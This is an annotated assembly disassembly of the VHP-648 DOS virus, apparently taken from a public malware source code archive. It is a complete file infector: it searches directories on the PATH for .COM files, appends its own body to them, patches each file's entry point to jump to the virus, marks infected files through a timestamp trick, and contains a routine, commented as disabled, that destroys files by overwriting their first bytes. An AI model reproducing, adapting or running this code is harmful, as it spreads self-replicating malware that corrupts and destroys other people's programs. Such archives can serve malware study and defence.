mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
331 lines
7.2 KiB
NASM
331 lines
7.2 KiB
NASM
name Virus
|
||
title Disassembly listing of the VHP-648 virus
|
||
.radix 16
|
||
code segment byte public
|
||
assume cs:code,ds:code,es:code
|
||
org 100h
|
||
environ equ 2C
|
||
|
||
start:
|
||
jmp virus
|
||
|
||
message db 'Hello, world!$'
|
||
|
||
mov ah,9
|
||
mov dx,offset message
|
||
int 21
|
||
int 20
|
||
|
||
virus:
|
||
push cx ;Save CX
|
||
|
||
mov dx,offset data ;Restore original first instruction
|
||
modify equ $-2 ;The instruction above is changed
|
||
; before each contamination
|
||
cld
|
||
mov si,dx
|
||
add si,saveins-data ;Instruction saved there
|
||
mov di,offset start
|
||
mov cx,3 ;Move 3 bytes
|
||
rep movsb ;Do it
|
||
mov si,dx ;Keep SI pointed at data
|
||
|
||
mov ah,30 ;Get DOS version
|
||
int 21
|
||
cmp al,0 ;Less than 2.0?
|
||
jne skip1
|
||
jmp exit ;Exit if so
|
||
|
||
skip1:
|
||
push es ;Save ES
|
||
mov ah,2F ;Get current DTA in ES:BX
|
||
int 21
|
||
mov word ptr [si+0],bx ;dtaadr
|
||
mov word ptr [si+2],es
|
||
pop es ;Restore ES
|
||
|
||
mov dx,mydta-data
|
||
add dx,si
|
||
mov ah,1A ;Set DTA
|
||
int 21
|
||
|
||
push es ;Save ES & SI
|
||
push si
|
||
mov es,ds:[environ] ;Environment address
|
||
mov di,0
|
||
n_00015A: ;Search 'PATH' in environment
|
||
pop si ;Restore data offset in SI
|
||
push si
|
||
add si,pathstr-data
|
||
lodsb
|
||
mov cx,8000 ;Maximum 32K in environment
|
||
repnz scasb ;Search for first letter ('P')
|
||
mov cx,4 ;4 letters in 'PATH'
|
||
n_000169:
|
||
lodsb ;Search for next char
|
||
scasb
|
||
jne n_00015A ;If not found, search for next 'P'
|
||
loop n_000169 ;Loop until done
|
||
pop si ;Restore SI & ES
|
||
pop es
|
||
|
||
mov [si+16],di ;Save 'PATH' offset in poffs
|
||
mov di,si
|
||
add di,fname-data ;Point SI & DI at '=' sign
|
||
mov bx,si ;Point BX at data area
|
||
add si,fname-data
|
||
mov di,si
|
||
jmp short n_0001BF
|
||
|
||
n_000185:
|
||
cmp word ptr [si+16],6C ;poffs
|
||
jne n_00018F
|
||
jmp olddta
|
||
n_00018F:
|
||
push ds
|
||
push si
|
||
mov ds,es:[environ]
|
||
mov di,si
|
||
mov si,es:[di+16] ;poffs
|
||
add di,fname-data
|
||
n_0001A1:
|
||
lodsb
|
||
cmp al,';'
|
||
je n_0001B0
|
||
cmp al,0
|
||
je n_0001AD
|
||
stosb
|
||
jmp n_0001A1
|
||
n_0001AD:
|
||
mov si,0
|
||
n_0001B0:
|
||
pop bx
|
||
pop ds
|
||
mov [bx+16],si ;poffs
|
||
cmp byte ptr [di-1],'\'
|
||
je n_0001BF
|
||
mov al,'\' ;Add '\' if not already present
|
||
stosb
|
||
|
||
n_0001BF:
|
||
mov [bx+18],di ;Save '=' offset in eqoffs
|
||
mov si,bx ;Restore data pointer in SI
|
||
add si,allcom-data
|
||
mov cx,6 ;6 bytes in ASCIIZ '*.COM'
|
||
rep movsb ;Move '*.COM' at fname
|
||
mov si,bx ;Restore SI
|
||
|
||
mov ah,4E ;Find first file
|
||
mov dx,fname-data
|
||
add dx,si
|
||
mov cx,11b ;Hidden, Read/Only or Normal files
|
||
int 21
|
||
jmp short n_0001E3
|
||
|
||
findnext:
|
||
mov ah,4F ;Find next file
|
||
int 21
|
||
n_0001E3:
|
||
jnc n_0001E7 ;If found, try to contaminate it
|
||
jmp n_000185 ;Otherwise search in another directory
|
||
|
||
n_0001E7:
|
||
mov ax,[si+75] ;Check file time
|
||
and al,11111b ; (the seconds, more exactly)
|
||
cmp al,62d/2 ;Are they 62?
|
||
|
||
;If so, file is already contains the virus, search for another:
|
||
|
||
je findnext
|
||
cmp [si+79],64000d ;Is file size greather than 64,000 bytes?
|
||
ja findnext ;If so, search for next file
|
||
cmp word ptr [si+79],10d ;Is file size less than 10 bytes?
|
||
jb findnext ;If so, search for next file
|
||
|
||
mov di,[si+18] ;eqoffs
|
||
push si ;Save SI
|
||
add si,namez-data ;Point SI at namez
|
||
n_000209:
|
||
lodsb
|
||
stosb
|
||
cmp al,0
|
||
jne n_000209
|
||
|
||
pop si ;Restore SI
|
||
mov ax,4300 ;Get file attributes
|
||
mov dx,fname-data
|
||
add dx,si
|
||
int 21
|
||
|
||
mov [si+8],cx ;Save them in fattrib
|
||
mov ax,4301 ;Set file attributes
|
||
|
||
;The next `db's are there because MASM can't assemble
|
||
; the instruction `and cx,0FFFE' correctly (the fool!):
|
||
|
||
db 081,0E1,0FE,0FF
|
||
; and cx,word ptr (not 1) ;Turn off Read Only flag
|
||
mov dx,fname-data
|
||
add dx,si
|
||
int 21
|
||
|
||
mov ax,3D02 ;Open file with Read/Write access
|
||
mov dx,fname-data
|
||
add dx,si
|
||
int 21
|
||
jnc n_00023E
|
||
jmp oldattr ;Exit on error
|
||
|
||
n_00023E:
|
||
mov bx,ax ;Save file handle in BX
|
||
mov ax,5700 ;Get file date & time
|
||
int 21
|
||
mov [si+4],cx ;Save time in ftime
|
||
mov [si+6],dx ;Save date in fdate
|
||
|
||
mov ah,2C ;Get system time
|
||
int 21
|
||
and dh,111b ;Are seconds a multiple of 8?
|
||
|
||
;If so, destroy file (don't contaminate). Now this code is disabled.
|
||
jnz 010
|
||
jmp short n_000266 ;CHANGED. Was jnz here
|
||
|
||
;Destroy file by rewriting an illegal jmp as first instruction:
|
||
|
||
mov ah,40 ;Write to file handle
|
||
mov cx,5 ;Write 5 bytes
|
||
mov dx,si
|
||
add dx,bad_jmp-data ;Write THESE bytes
|
||
int 21 ;Do it
|
||
jmp short oldtime ;Exit
|
||
|
||
;Try to contaminate file:
|
||
|
||
;Read first instruction of the file (first 3 bytes) and save it in saveins:
|
||
|
||
n_000266:
|
||
mov ah,3F ;Read from file handle
|
||
mov cx,3 ;Read 3 bytes
|
||
mov dx,saveins-data ;Put them there
|
||
add dx,si
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
cmp ax,3 ;Are really 3 bytes read?
|
||
jne oldtime ;Exit if not
|
||
|
||
;Move file pointer to end of file:
|
||
|
||
mov ax,4202 ;LSEEK from end of file
|
||
mov cx,0 ;0 bytes from end
|
||
mov dx,0
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
|
||
mov cx,ax ;Get the value of file pointer
|
||
sub ax,3 ;Subtract 3 from it to get real code size
|
||
mov [si+14d],ax ;Save result in filloc
|
||
add cx,data-(virus-100)
|
||
mov di,si
|
||
sub di,data-modify ;A little self-modification
|
||
mov [di],cx
|
||
|
||
mov ah,40 ;Write to file handle
|
||
mov cx,enddata-virus ;Virus code length as bytes to be written
|
||
mov dx,si
|
||
sub dx,data-virus ;Now DX points at virus label
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
cmp ax,enddata-virus ;Are all bytes written?
|
||
jne oldtime ;Exit if not
|
||
|
||
mov ax,4200 ;LSEEK from the beginning of the file
|
||
mov cx,0 ;Just at the file beginning
|
||
mov dx,0
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
|
||
;Rewrite the first instruction of the file with a jump to the virus code:
|
||
|
||
mov ah,40 ;Write to file handle
|
||
mov cx,3 ;3 bytes to write
|
||
mov dx,si
|
||
add dx,newjmp-data ;Write THESE bytes
|
||
int 21
|
||
|
||
oldtime:
|
||
mov dx,[si+6] ;Restore file date
|
||
mov cx,[si+4] ; and time
|
||
|
||
;And these again are due to the MASM 5.0 foolness:
|
||
|
||
db 081,0E1,0E0,0FF
|
||
db 081,0C9,01F,000
|
||
; and cx,not 11111b
|
||
; or cx,11111b ;Set seconds to 62 (?!)
|
||
|
||
mov ax,5701 ;Set file date & time
|
||
int 21
|
||
mov ah,3E ;Close file handle
|
||
int 21
|
||
|
||
oldattr:
|
||
mov ax,4301 ;Set file attributes
|
||
mov cx,[si+8] ;They were saved in fattrib
|
||
mov dx,fname-data
|
||
add dx,si
|
||
int 21
|
||
|
||
olddta:
|
||
push ds ;Save DS
|
||
mov ah,1A ;Set DTA
|
||
mov dx,[si+0] ;Restore saved DTA
|
||
mov ds,[si+2]
|
||
int 21
|
||
pop ds ;Restore DS
|
||
|
||
exit:
|
||
pop cx ;Restore CX
|
||
xor ax,ax ;Clear registers
|
||
xor bx,bx
|
||
xor dx,dx
|
||
xor si,si
|
||
mov di,100 ;Jump to CS:100
|
||
push di ; by doing funny RET
|
||
xor di,di
|
||
ret -1
|
||
|
||
data label byte ;Data section
|
||
dtaaddr dd ? ;Disk Transfer Address
|
||
ftime dw ? ;File date
|
||
fdate dw ? ;File time
|
||
fattrib dw ? ;File attribute
|
||
saveins db 0EBh,0Fh,90 ;Original first 3 bytes
|
||
newjmp db 0E9 ;Code of jmp instruction
|
||
filloc dw ? ;File pointer is saved here
|
||
allcom db '*.COM',0 ;Filespec to search for
|
||
poffs dw ? ;Address of 'PATH' string
|
||
eqoffs dw ? ;Address of '=' sign
|
||
pathstr db 'PATH='
|
||
fname db 40 dup (' ') ;Path name to search for
|
||
|
||
;Disk Transfer Address for Find First / Find Next:
|
||
|
||
mydta label byte
|
||
drive db ? ;Drive to search for
|
||
pattern db 13d dup (?) ;Search pattern
|
||
reserve db 7 dup (?) ;Not used
|
||
attrib db ? ;File attribute
|
||
time dw ? ;File time
|
||
date dw ? ;File date
|
||
fsize dd ? ;File size
|
||
namez db 13d dup (?) ;File name found
|
||
|
||
;This replaces the first instruction of a destroyed file:
|
||
|
||
bad_jmp db 0EA,0Bh,2,13,58
|
||
enddata label byte
|
||
|
||
code ends
|
||
end start
|
||
|